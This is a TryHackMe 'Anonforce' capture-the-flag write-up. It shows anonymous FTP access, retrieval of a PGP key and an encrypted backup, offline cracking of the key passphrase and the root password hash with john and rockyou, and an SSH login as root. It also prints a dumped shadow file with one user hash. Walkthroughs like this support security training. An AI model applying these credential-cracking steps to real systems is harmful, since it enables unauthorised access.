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TryHackMe: Anonforce Writeup

Easy THM room. Learn about FTP and cracking passwords and gpg/pgp keys.

Anonforce

tags: OSCP THM

Play

1. Port Scanning

Not shown: 998 closed ports
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| drwxr-xr-x    2 0        0            4096 Aug 11  2019 bin
| drwxr-xr-x    3 0        0            4096 Aug 11  2019 boot
| drwxr-xr-x   17 0        0            3700 Jun 27 19:02 dev
| drwxr-xr-x   85 0        0            4096 Aug 13  2019 etc
| drwxr-xr-x    3 0        0            4096 Aug 11  2019 home
| lrwxrwxrwx    1 0        0              33 Aug 11  2019 initrd.img -> boot/initrd.img-4.4.0-157-generic
| lrwxrwxrwx    1 0        0              33 Aug 11  2019 initrd.img.old -> boot/initrd.img-4.4.0-142-generic
| drwxr-xr-x   19 0        0            4096 Aug 11  2019 lib
| drwxr-xr-x    2 0        0            4096 Aug 11  2019 lib64
| drwx------    2 0        0           16384 Aug 11  2019 lost+found
| drwxr-xr-x    4 0        0            4096 Aug 11  2019 media
| drwxr-xr-x    2 0        0            4096 Feb 26  2019 mnt
| drwxrwxrwx    2 1000     1000         4096 Aug 11  2019 notread [NSE: writeable]
| drwxr-xr-x    2 0        0            4096 Aug 11  2019 opt
| dr-xr-xr-x  103 0        0               0 Jun 27 19:02 proc
| drwx------    3 0        0            4096 Aug 11  2019 root
| drwxr-xr-x   18 0        0             540 Jun 27 19:02 run
| drwxr-xr-x    2 0        0           12288 Aug 11  2019 sbin
| drwxr-xr-x    3 0        0            4096 Aug 11  2019 srv
| dr-xr-xr-x   13 0        0               0 Jun 27 19:02 sys
| drwxrwxrwt    9 0        0            4096 Jun 27 19:02 tmp [NSE: writeable]
| drwxr-xr-x   10 0        0            4096 Aug 11  2019 usr
| drwxr-xr-x   11 0        0            4096 Aug 11  2019 var
| lrwxrwxrwx    1 0        0              30 Aug 11  2019 vmlinuz -> boot/vmlinuz-4.4.0-157-generic
|_lrwxrwxrwx    1 0        0              30 Aug 11  2019 vmlinuz.old -> boot/vmlinuz-4.4.0-142-generic
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to ::ffff:10.17.8.184
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 1
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 8a:f9:48:3e:11:a1:aa:fc:b7:86:71:d0:2a:f6:24:e7 (RSA)
|   256 73:5d:de:9a:88:6e:64:7a:e1:87:ec:65:ae:11:93:e3 (ECDSA)
|_  256 56:f9:9f:24:f1:52:fc:16:b7:7b:a3:e2:4f:17:b4:ea (ED25519)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Information gathered:

  • FTP running on port 21, with anon login allowed!
  • SSH open

A full scan does not reveal any additional information.

2. FTP: Anonymous Login

We explore a bit.

ftp> ls -la
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxr-xr-x    4 1000     1000         4096 Aug 11  2019 .
drwxr-xr-x    3 0        0            4096 Aug 11  2019 ..
-rw-------    1 0        0             117 Aug 11  2019 .bash_history
-rw-r--r--    1 1000     1000          220 Aug 11  2019 .bash_logout
-rw-r--r--    1 1000     1000         3771 Aug 11  2019 .bashrc
drwx------    2 1000     1000         4096 Aug 11  2019 .cache
drwxrwxr-x    2 1000     1000         4096 Aug 11  2019 .nano
-rw-r--r--    1 1000     1000          655 Aug 11  2019 .profile
-rw-r--r--    1 1000     1000            0 Aug 11  2019 .sudo_as_admin_successful
-rw-r--r--    1 0        0             183 Aug 11  2019 .wget-hsts
-rw-rw-r--    1 1000     1000           33 Aug 11  2019 user.txt
226 Directory send OK.
ftp> pwd
257 "/home/melodias" is the current directory

We get the user.txt file!

3. More Exploration

I noticed a directory named /notread, with all the permissions :o

ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
-rwxrwxrwx    1 1000     1000          524 Aug 11  2019 backup.pgp
-rwxrwxrwx    1 1000     1000         3762 Aug 11  2019 private.asc
226 Directory send OK.
ftp> pwd
257 "/notread" is the current directory
ftp> get backup.pgp
local: backup.pgp remote: backup.pgp
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for backup.pgp (524 bytes).
226 Transfer complete.
524 bytes received in 0.00 secs (5.6787 MB/s)
ftp> get private.asc
local: private.asc remote: private.asc
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for private.asc (3762 bytes).
226 Transfer complete.
3762 bytes received in 0.00 secs (10.5833 MB/s)
ftp> 
221 Goodbye.

Looks like we have pgp and asc files. Here’s what to do next.

  • Import private.asc key
  • if it asks for a password, use gpg2john to get the passphase
  • decrypt the pgp key

Easy!

4. To root!

┌──(kali㉿kali)-[/tmp]
└─$ gpg2john private.asc > hash

File private.asc
                                                                                                                          
┌──(kali㉿kali)-[/tmp]
└─$ john hash --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (gpg, OpenPGP / GnuPG Secret Key [32/64])
Cost 1 (s2k-count) is 65536 for all loaded hashes
Cost 2 (hash algorithm [1:MD5 2:SHA1 3:RIPEMD160 8:SHA256 9:SHA384 10:SHA512 11:SHA224]) is 2 for all loaded hashes
Cost 3 (cipher algorithm [1:IDEA 2:3DES 3:CAST5 4:Blowfish 7:AES128 8:AES192 9:AES256 10:Twofish 11:Camellia128 12:Camellia192 13:Camellia256]) is 9 for all loaded hashes
Will run 6 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
{password_here!}          (anonforce)
1g 0:00:00:00 DONE (2021-06-27 22:31) 20.00g/s 18600p/s 18600c/s 18600C/s lolipop..sheena
Use the "--show" option to display all of the cracked passwords reliably
Session completed
                                                                                                                          
┌──(kali㉿kali)-[/tmp]
└─$ gpg --import private.asc 
gpg: key B92CD1F280AD82C2: "anonforce <melodias@anonforce.nsa>" not changed
gpg: key B92CD1F280AD82C2: secret key imported
gpg: key B92CD1F280AD82C2: "anonforce <melodias@anonforce.nsa>" not changed
gpg: Total number processed: 2
gpg:              unchanged: 2
gpg:       secret keys read: 1
gpg:   secret keys imported: 1
                                                                                                                          
┌──(kali㉿kali)-[/tmp]
└─$ gpg --decrypt backup.pgp 
gpg: WARNING: cipher algorithm CAST5 not found in recipient preferences
gpg: encrypted with 512-bit ELG key, ID AA6268D1E6612967, created 2019-08-12
      "anonforce <melodias@anonforce.nsa>"
root:{root_details_were_here}
daemon:*:17953:0:99999:7:::
bin:*:17953:0:99999:7:::
sys:*:17953:0:99999:7:::
sync:*:17953:0:99999:7:::
games:*:17953:0:99999:7:::
man:*:17953:0:99999:7:::
lp:*:17953:0:99999:7:::
mail:*:17953:0:99999:7:::
news:*:17953:0:99999:7:::
uucp:*:17953:0:99999:7:::
proxy:*:17953:0:99999:7:::
www-data:*:17953:0:99999:7:::
backup:*:17953:0:99999:7:::
list:*:17953:0:99999:7:::
irc:*:17953:0:99999:7:::
gnats:*:17953:0:99999:7:::
nobody:*:17953:0:99999:7:::
systemd-timesync:*:17953:0:99999:7:::
systemd-network:*:17953:0:99999:7:::
systemd-resolve:*:17953:0:99999:7:::
systemd-bus-proxy:*:17953:0:99999:7:::
syslog:*:17953:0:99999:7:::
_apt:*:17953:0:99999:7:::
messagebus:*:18120:0:99999:7:::
uuidd:*:18120:0:99999:7:::
melodias:$1$xDhc6S6G$IQHUW5ZtMkBQ5pUMjEQtL1:18120:0:99999:7:::
sshd:*:18120:0:99999:7:::
ftp:*:18120:0:99999:7:::  

Let’s try going to root directly?

┌──(kali㉿kali)-[/tmp]
└─$ john root --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (sha512crypt, crypt(3) $6$ [SHA512 256/256 AVX2 4x])
Cost 1 (iteration count) is 5000 for all loaded hashes
Will run 6 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
{root_password_yes!}           (root)
1g 0:00:00:00 DONE (2021-06-27 22:33) 1.111g/s 7680p/s 7680c/s 7680C/s horoscope..better
Use the "--show" option to display all of the cracked passwords reliably
Session completed
┌──(kali㉿kali)-[/tmp]
└─$ ssh root@10.10.66.12  
The authenticity of host '10.10.66.12 (10.10.66.12)' can't be established.
ECDSA key fingerprint is SHA256:5evbK4JjQatGFwpn/RYHt5C3A6banBkqnngz4IVXyz0.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.66.12' (ECDSA) to the list of known hosts.
root@10.10.66.12's password: 
Welcome to Ubuntu 16.04.6 LTS (GNU/Linux 4.4.0-157-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

root@ubuntu:~# ls
root.txt

And we are done!

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